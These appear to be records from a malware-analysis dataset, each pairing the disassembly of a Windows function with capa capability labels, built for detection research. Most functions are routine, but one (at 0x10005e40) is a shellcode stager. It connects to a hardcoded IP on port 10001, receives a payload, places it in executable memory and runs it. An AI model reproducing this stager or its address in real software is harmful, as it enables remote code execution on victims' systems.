joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418a4e
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
xor esi, esi
cmp dword [0x4298cc], esi
push edi
mov edi, dword [ebp + 8]
mov ebx, 0x201
jbe 0x418b75
test dword [0x4298d8], edi
je 0x418b75
cmp edi, 0x10002
je 0x418aba
cmp edi, 0x20002
je 0x418ab7
cmp edi, 0x40002
je 0x418ab3
cmp edi, 0x80002
je 0x418aae
xor eax, eax
cmp edi, 0x100002
setne al
add eax, 4
mov esi, eax
jmp 0x418aba
push 3
pop esi
jmp 0x418aba
push 2
jmp 0x418ab0
xor esi, esi
inc esi
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push dword [esi*4 + 0x427eec]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xc]
push eax
push 0x429868
push 0x405794
lea eax, [ebp - 0x218]
push ebx
push eax
call fcn.0041880d
add esp, 0x28
test eax, eax
jl 0x418c0d
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0x218]
push eax
call fcn.0041878d
test eax, eax
jl 0x418c0d
mov eax, dword [ebp - 4]
cmp eax, ebx
jae 0x418c0d
lea ecx, [ebp + 0x10]
push ecx
push dword [ebp + 0xc]
mov ecx, ebx
sub ecx, eax
push ecx
lea eax, [ebp + eax - 0x218]
push eax
call fcn.004187f2
test eax, eax
jge 0x418b56
cmp eax, 0x7a
jne 0x418c0d
push 0x405790
push ebx
lea eax, [ebp - 0x218]
push eax
call fcn.00418834
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [0x427ee8], 0xffffffff
je 0x418c0d
xor eax, eax
cmp dword [0x4298d0], eax
ja 0x418b94
cmp dword [0x4298d4], eax
jbe 0x418c0d
cmp edi, 0x10002
je 0x418bd0
cmp edi, 0x20002
je 0x418bcd
cmp edi, 0x40002
je 0x418bc9
cmp edi, 0x80002
je 0x418bc4
xor eax, eax
cmp edi, 0x100002
setne al
add eax, 4
jmp 0x418bd0
push 3
pop eax
jmp 0x418bd0
push 2
jmp 0x418bc6
xor eax, eax
inc eax
push dword [ebp + 0xc]
push dword [eax*4 + 0x427eec]
lea eax, [ebp - 0x218]
push 0x405788
push ebx
push eax
call fcn.0041880d
add esp, 0x14
test eax, eax
jl 0x418c0d
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x218]
push eax
or edi, 4
push edi
push dword [0x427ee8]
call sub.rtutils.dll_TraceVprintfExA
pop edi
pop esi
pop ebx
leave
ret
Function at 0x423dcc
Capabilities:
Create thread

Disassembly:
mov eax, 0x425464
call fcn.00416740
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp dword [0x4298dc], edi
mov esi, ecx
mov ebx, 0x80002
je 0x423df9
push 0x40f850
push ebx
call fcn.00418a4e
pop ecx
pop ecx
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi + 0x30], edi
mov dword [ebp - 4], edi
jne 0x423e79
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
cmp eax, edi
mov dword [esi + 0x3c], eax
jne 0x423e3c
cmp dword [0x4298dc], edi
je 0x423e35
push 0x40f830
push 0x10002
call fcn.00418a4e
pop ecx
pop ecx
mov edi, 0x80004005
jmp 0x423e91
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push 0x423dc0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, edi
mov dword [esi + 0x40], eax
jne 0x423e79
cmp dword [0x4298dc], edi
je 0x423e35
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x40f814
push 0x10002
call fcn.00418a4e
add esp, 0xc
jmp 0x423e35
inc dword [esi + 0x30]
cmp dword [0x4298dc], edi
je 0x423e91
push 0x40f7f4
push ebx
call fcn.00418a4e
pop ecx
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10001e20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
mov eax, edi
shr eax, 4
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x10001e49
pop edi
pop ebx
pop ebp
ret
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001e5f
xor esi, esi
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001e56
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x10001e92
nop
cmp esi, ecx
jae 0x10001e56
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x10001e80
cmp esi, ecx
jae 0x10001e56
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x10003a20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
lea eax, [ebp - 0x110]
mov esi, ecx
push eax
push 0
push 0
push 0x1c
push 0
mov dword [ebp - 4], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x10003a7f
xorps xmm0, xmm0
lea ecx, [ebp - 0x110]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], eax
lea edx, [ecx + 1]
mov dword [esi + 0x14], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003a60
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
mov ecx, esi
call fcn.1000ad60
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, 0x101c61b4
mov ecx, 0x101efd18
call fcn.1000a290
push eax
call fcn.1000a520
xorps xmm0, xmm0
add esp, 4
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov eax, esi
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005e40
Capabilities:
Allocate or change rwx memory
Connect socket
Create thread
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
push ebx
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 0
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x18], 2
push eax
xorps xmm0, xmm0
mov dword [esp + 0x20], 1
push str.10001
push str.103.207.68.3
movlpd qword [esp + 0x30], xmm0
movlpd qword [esp + 0x38], xmm0
mov dword [esp + 0x2c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x10005fed
mov esi, dword [esp + 0xc]
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
test esi, esi
je 0x10005f18
mov ebx, dword [sym.imp.WS2_32.dll_connect]
nop dword [eax]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x101f0684], eax
cmp eax, 0xffffffff
je 0x10005fed
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call ebx
cmp eax, 0xffffffff
jne 0x10005f14
push dword [0x101f0684]
call edi
mov esi, dword [esi + 0x1c]
mov dword [0x101f0684], 0xffffffff
test esi, esi
jne 0x10005ed0
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp dword [0x101f0684], 0xffffffff
je 0x10005fed
mov esi, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [0x101e7998]
mov ecx, dword [0x101f0680]
nop dword [eax]
push 0
sub eax, ecx
push eax
mov eax, dword [0x101f0754]
add eax, ecx
push eax
push dword [0x101f0684]
call esi
test eax, eax
jle 0x10005f94
mov ecx, dword [0x101f0680]
add ecx, eax
mov eax, dword [0x101e7998]
mov dword [0x101f0680], ecx
cmp ecx, eax
jne 0x10005f40
add eax, eax
push eax
push dword [0x101f0754]
call fcn.101621f4
mov dword [0x101f0754], eax
add esp, 8
mov eax, dword [0x101e7998]
add eax, eax
mov dword [0x101e7998], eax
jmp 0x10005f37
push 0
push 0
push 0
push 0x100046c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x40
push 0x3000
push dword [0x101f0680]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [0x101f0680]
mov esi, eax
push dword [0x101f0754]
push esi
call fcn.1015b040
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [0x101f0684]
call edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007900
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101839c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push edi
mov dword [ebp - 0x10], ecx
mov edi, dword [ebp + 8]
push edi
mov dword [ebp - 4], 0
call fcn.10020f60
mov ebx, eax
mov dword [ebp - 4], 0xffffffff
test ebx, ebx
jne 0x1000794d
pop edi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
mov eax, edi
shr eax, 4
push esi
inc eax
push 6
movzx eax, ax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp + 8], eax
test eax, eax
je 0x10007a45
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1000797c
xor esi, esi
jmp 0x100079c2
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100079c2
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x100079b2
nop dword [eax + eax]
cmp esi, ecx
jae 0x100079b6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x100079a0
cmp esi, ecx
jb 0x100079ba
xor esi, esi
jmp 0x100079c2
xor eax, eax
cmp word [esi], ax
cmove esi, eax
test esi, esi
je 0x10007a45
movzx eax, word [esi]
lea ecx, [esi + 2]
push 0
push 0
push 0
push 0
push eax
push ecx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edi, eax
test edi, edi
js 0x10007a5a
mov ebx, dword [ebp - 0x10]
mov edx, 1
mov ecx, dword [ebx]
sub edx, dword [ecx - 4]
mov ecx, dword [ecx - 8]
sub ecx, edi
or edx, ecx
jge 0x10007a04
push edi
mov ecx, ebx
call fcn.10009da0
movzx eax, word [esi]
push 0
push 0
push edi
push dword [ebx]
push eax
lea eax, [esi + 2]
push eax
push 0
push 3
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebx]
cmp edi, dword [eax - 8]
jg 0x10007a5a
mov dword [eax - 0xc], edi
mov eax, dword [ebx]
pop esi
mov byte [edi + eax], 0
mov eax, 1
pop edi
pop ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop esi
pop edi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push 0x80070057
call fcn.10001dd0
int3
Function at 0x10009a10
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x101839c0
push eax
mov dword fs:[0], esp
push esi
mov esi, ecx
push edi
push 8
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.1001eff7
mov edi, eax
add esp, 4
test edi, edi
je 0x10009aac
push 1
mov dword [ebp - 4], 0
call fcn.10159cbd
add esp, 4
mov dword [edi + 4], eax
jmp 0x10009aae
xor edi, edi
mov ecx, esi
mov dword [esi + 0x34], edi
call fcn.100099b0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000fbd0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
movzx eax, word [ebp + 8]
mov dword [ebp + 8], eax
pop ebp
jmp fcn.1001f282
Function at 0x1001def1
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x18
mov eax, 0x10184bca
call fcn.10158574
mov eax, ecx
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp + 0x10]
xor edi, edi
mov esi, dword [ebp + 0x14]
push edi
mov dword [ebx], edi
mov dword [esi], edi
cmp dword [eax + 0x58], edi
je 0x1001df99
push dword [ebp + 8]
call fcn.1001e20e
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1001e020
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], edi
push ecx
push edi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push ecx
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x14], edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov dword [esi], ecx
test eax, eax
jne 0x1001df82
push ecx
call fcn.10024416
pop ecx
lea ecx, [ebp - 0x14]
mov dword [ebx], eax
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1001df82
xor edi, edi
inc edi
jmp 0x1001df8c
push dword [ebx]
call fcn.1000ff58
pop ecx
mov dword [ebx], edi
lea ecx, [ebp - 0x24]
call fcn.1001ddb8
jmp 0x1001e01e
mov eax, dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
mov esi, dword [eax + 0x84]
lea eax, [ebp - 0x10]
push eax
mov ecx, esi
call dword [0x10193a10]
mov ecx, dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], 1
mov ecx, dword [eax - 0xc]
test ecx, ecx
je 0x1001e016
mov esi, dword [ebp + 0x14]
shr ecx, 1
push ecx
mov dword [esi], ecx
call fcn.10024416
mov dword [ebx], eax
pop ecx
cmp dword [esi], edi
jbe 0x1001e010
lea esi, [edi + edi]
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x10]
call fcn.1001dd95
push esi
lea ecx, [ebp - 0x10]
lea ebx, [eax - 1]
shl bl, 4
sub bl, 0x41
call fcn.1001dd95
mov ecx, dword [ebp + 0x10]
add al, bl
mov ecx, dword [ecx]
mov byte [edi + ecx], al
inc edi
mov eax, dword [ebp + 0x14]
cmp edi, dword [eax]
jb 0x1001dfdd
mov eax, dword [ebp - 0x10]
xor edi, edi
inc edi
lea ecx, [eax - 0x10]
call fcn.10001eb0
mov eax, edi
call fcn.10158542
ret 0x10

Function at 0x1001e028
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
push edi
cmp dword [ecx + 0x58], esi
je 0x1001e07b
push esi
push dword [ebp + 8]
call fcn.1001e20e
mov edi, eax
test edi, edi
je 0x1001e076
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x1001e076
mov eax, dword [ebp - 8]
jmp 0x1001e08d
mov eax, dword [ebp + 0x10]
jmp 0x1001e08d
push dword [ecx + 0x6c]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
pop edi
pop esi
leave
ret 0xc
Function at 0x1001e093
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10184bf7
mov eax, dword fs:[0]
push eax
mov eax, 0x101c
call fcn.10158720
mov eax, dword [0x101e6e80]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov eax, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0x101c], edi
mov dword [ebp - 0x1024], eax
cmp dword [ecx + 0x58], ebx
je 0x1001e1c1
push ebx
push edx
call fcn.1001e20e
mov ebx, eax
test ebx, ebx
jne 0x1001e0fb
push esi
jmp 0x1001e1e9
lea ecx, [ebp - 0x1014]
call fcn.10007ad0
xor ecx, ecx
lea eax, [ebp - 0x1018]
push eax
push ecx
lea eax, [ebp - 0x1020]
mov dword [ebp - 4], ecx
push eax
push ecx
push dword [ebp - 0x1024]
mov dword [ebp - 0x1020], ecx
push ebx
mov dword [ebp - 0x1018], ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0x101c], eax
test eax, eax
jne 0x1001e180
push dword [ebp - 0x1018]
lea ecx, [ebp - 0x1014]
call fcn.10009100
lea ecx, [ebp - 0x1018]
push ecx
push eax
lea eax, [ebp - 0x1020]
push eax
push 0
push dword [ebp - 0x1024]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x1014]
mov dword [ebp - 0x101c], eax
call fcn.1001e34a
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x101c], 0
jne 0x1001e1ae
mov esi, dword [ebp - 0x1014]
add esi, 0xfffffff0
push esi
call fcn.10010edc
pop ecx
add eax, 0x10
mov ecx, esi
mov dword [edi], eax
call fcn.10001eb0
jmp 0x1001e1f0
push esi
mov ecx, edi
call fcn.1001080e
mov ecx, dword [ebp - 0x1014]
lea ecx, [ecx - 0x10]
jmp 0x1001e1a7
test esi, esi
jne 0x1001e1ca
mov esi, 0x101c686c
push dword [ecx + 0x6c]
lea ecx, [ebp - 0x1010]
push 0x1000
push ecx
push esi
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x1010]
push eax
mov ecx, edi
call fcn.1001080e
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10158534
leave
ret 0x10
Function at 0x1001e3df
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x10]
xor ebx, ebx
push edi
mov edi, ecx
cmp dword [edi + 0x58], ebx
je 0x1001e427
push ebx
push dword [ebp + 8]
call fcn.1001e20e
mov edi, eax
test edi, edi
je 0x1001e488
push dword [ebp + 0x14]
push esi
push 3
push ebx
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push edi
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test esi, esi
sete al
jmp 0x1001e488
mov eax, dword [ebp + 0x14]
lea eax, [eax*2 + 1]
push eax
call fcn.10024416
mov edx, dword [ebp + 0x14]
mov ebx, eax
pop ecx
xor ecx, ecx
test edx, edx
je 0x1001e45e
mov al, byte [esi + ecx]
and al, 0xf
add al, 0x41
mov byte [ebx + ecx*2], al
mov al, byte [esi + ecx]
shr al, 4
add al, 0x41
mov byte [ebx + ecx*2 + 1], al
inc ecx
cmp ecx, edx
jb 0x1001e443
mov byte [ebx + ecx*2], 0
mov eax, dword [edi]
push ebx
push dword [ebp + 0xc]
mov esi, dword [eax + 0x88]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10193a10]
mov ecx, edi
call esi
push ebx
mov esi, eax
call fcn.1000ff58
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x1001f1ec
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x84], 0
mov esi, dword [ebx + 0x8c]
mov edi, dword [ebx + 0x88]
je 0x1001f234
call fcn.1002e26f
push 5
push dword [ebx + 0x84]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x1001f234
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x1001f241
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
xor eax, eax
inc eax
test esi, esi
je 0x1001f27d
mov edx, 0xffff
lea ecx, [esi + 0xc]
cmp word [esi + 2], dx
jne 0x1001f260
movzx edi, word [esi + 0x12]
movzx edx, word [esi + 0x14]
jmp 0x1001f269
movzx edx, word [ecx]
mov ecx, esi
movzx edi, word [esi + 0xa]
test dword [ecx], 0x1801
jne 0x1001f27b
test di, di
jne 0x1001f27b
test dx, dx
je 0x1001f27d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1001f2e6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, ecx
call fcn.1002e26f
push 5
push dword [ebp + 8]
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x1001f326
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1001f326
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push dword [ebp + 0xc]
mov ecx, edi
push eax
call fcn.1001f32e
jmp 0x1001f328
xor eax, eax
pop edi
pop esi
pop ebp
ret 8
Function at 0x1001f619
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x24
mov eax, 0x10184cf3
call fcn.101585dd
mov edi, ecx
mov dword [ebp - 0x24], edi
mov ebx, dword [edi + 0x8c]
mov esi, dword [edi + 0x88]
mov dword [ebp - 0x18], ebx
call fcn.1002e26f
cmp dword [edi + 0x84], 0
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
je 0x1001f678
call fcn.1002e26f
push 5
push dword [edi + 0x84]
mov ebx, dword [eax + 0xc]
push ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x1001f68c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, dword [ebp - 0x18]
mov esi, eax
test esi, esi
je 0x1001f688
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov dword [ebp - 0x18], eax
test ebx, ebx
jne 0x1001f694
or eax, 0xffffffff
jmp 0x1001f7e6
mov ecx, edi
call fcn.1001fc23
mov ebx, eax
mov dword [ebp - 0x2c], ebx
call fcn.10025f70
xor esi, esi
and dword [ebp - 0x1c], esi
and dword [ebp - 0x28], esi
mov dword [ebp - 0x14], esi
test ebx, ebx
je 0x1001f720
call dword [sym.imp.USER32.dll_GetDesktopWindow]
cmp ebx, eax
je 0x1001f720
push ebx
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x1001f720
push esi
push ebx
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x14], 1
call fcn.1000fb90
mov esi, eax
mov dword [ebp - 0x1c], esi
test esi, esi
je 0x1001f71d
mov ecx, dword [esi]
mov esi, dword [ecx + 0x150]
mov ecx, esi
call dword [0x10193a10]
mov ecx, dword [ebp - 0x1c]
call esi
test eax, eax
je 0x1001f71d
mov esi, dword [ebp - 0x1c]
mov ecx, esi
call fcn.1002c8cd
test eax, eax
je 0x1001f71d
push 0
mov ecx, esi
call fcn.1002c1eb
mov dword [ebp - 0x28], 1
mov esi, dword [ebp - 0x14]
and dword [ebp - 4], 0
push edi
call fcn.10025c3d
push ebx
call fcn.10027333
push dword [ebp - 0x20]
mov ecx, edi
push eax
push dword [ebp - 0x18]
call fcn.1001f5bc
test eax, eax
jne 0x1001f769
cmp dword [edi + 0x9c], eax
jne 0x1001f769
call fcn.1002e26f
push ebx
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
call fcn.10027333
push dword [ebp - 0x20]
mov ecx, edi
push eax
push dword [ebp - 0x18]
call fcn.1001f5bc
and dword [edi + 0x9c], 0
jmp 0x1001f794
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x28], 0
je 0x1001f7a8
mov ecx, dword [ebp - 0x1c]
push 1
call fcn.1002c1eb
test esi, esi
je 0x1001f7b5
push 1
push ebx
call dword [sym.imp.USER32.dll_EnableWindow]
test ebx, ebx
je 0x1001f7cb
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [edi + 0x20]
jne 0x1001f7cb
push ebx
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [edi]
mov esi, dword [eax + 0x60]
mov ecx, esi
call dword [0x10193a10]
mov ecx, edi
call esi
mov ecx, edi
call fcn.1001fbda
mov eax, dword [edi + 0x68]
call fcn.10158542
ret
Function at 0x100219bc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
mov eax, ecx
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], edi
je 0x10021a01
call fcn.1002e26f
push 0xf0
push dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x100219fe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x10021a48
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov eax, dword [ebp - 4]
push ebx
xor ebx, ebx
inc ebx
test edi, edi
je 0x10021a24
mov ecx, dword [eax]
push dword [ebp + 0x10]
push edi
mov esi, dword [ecx + 0x20]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10193a10]
mov ecx, dword [ebp - 4]
call esi
mov ebx, eax
mov eax, dword [ebp + 8]
mov edi, dword [eax + 0x70]
test edi, edi
je 0x10021a45
mov edx, dword [edi]
push dword [ebp + 0x10]
mov esi, dword [edx + 0xa0]
mov ecx, esi
call dword [0x10193a10]
mov ecx, edi
call esi
mov eax, ebx
pop ebx
pop edi
pop esi
leave
ret 0xc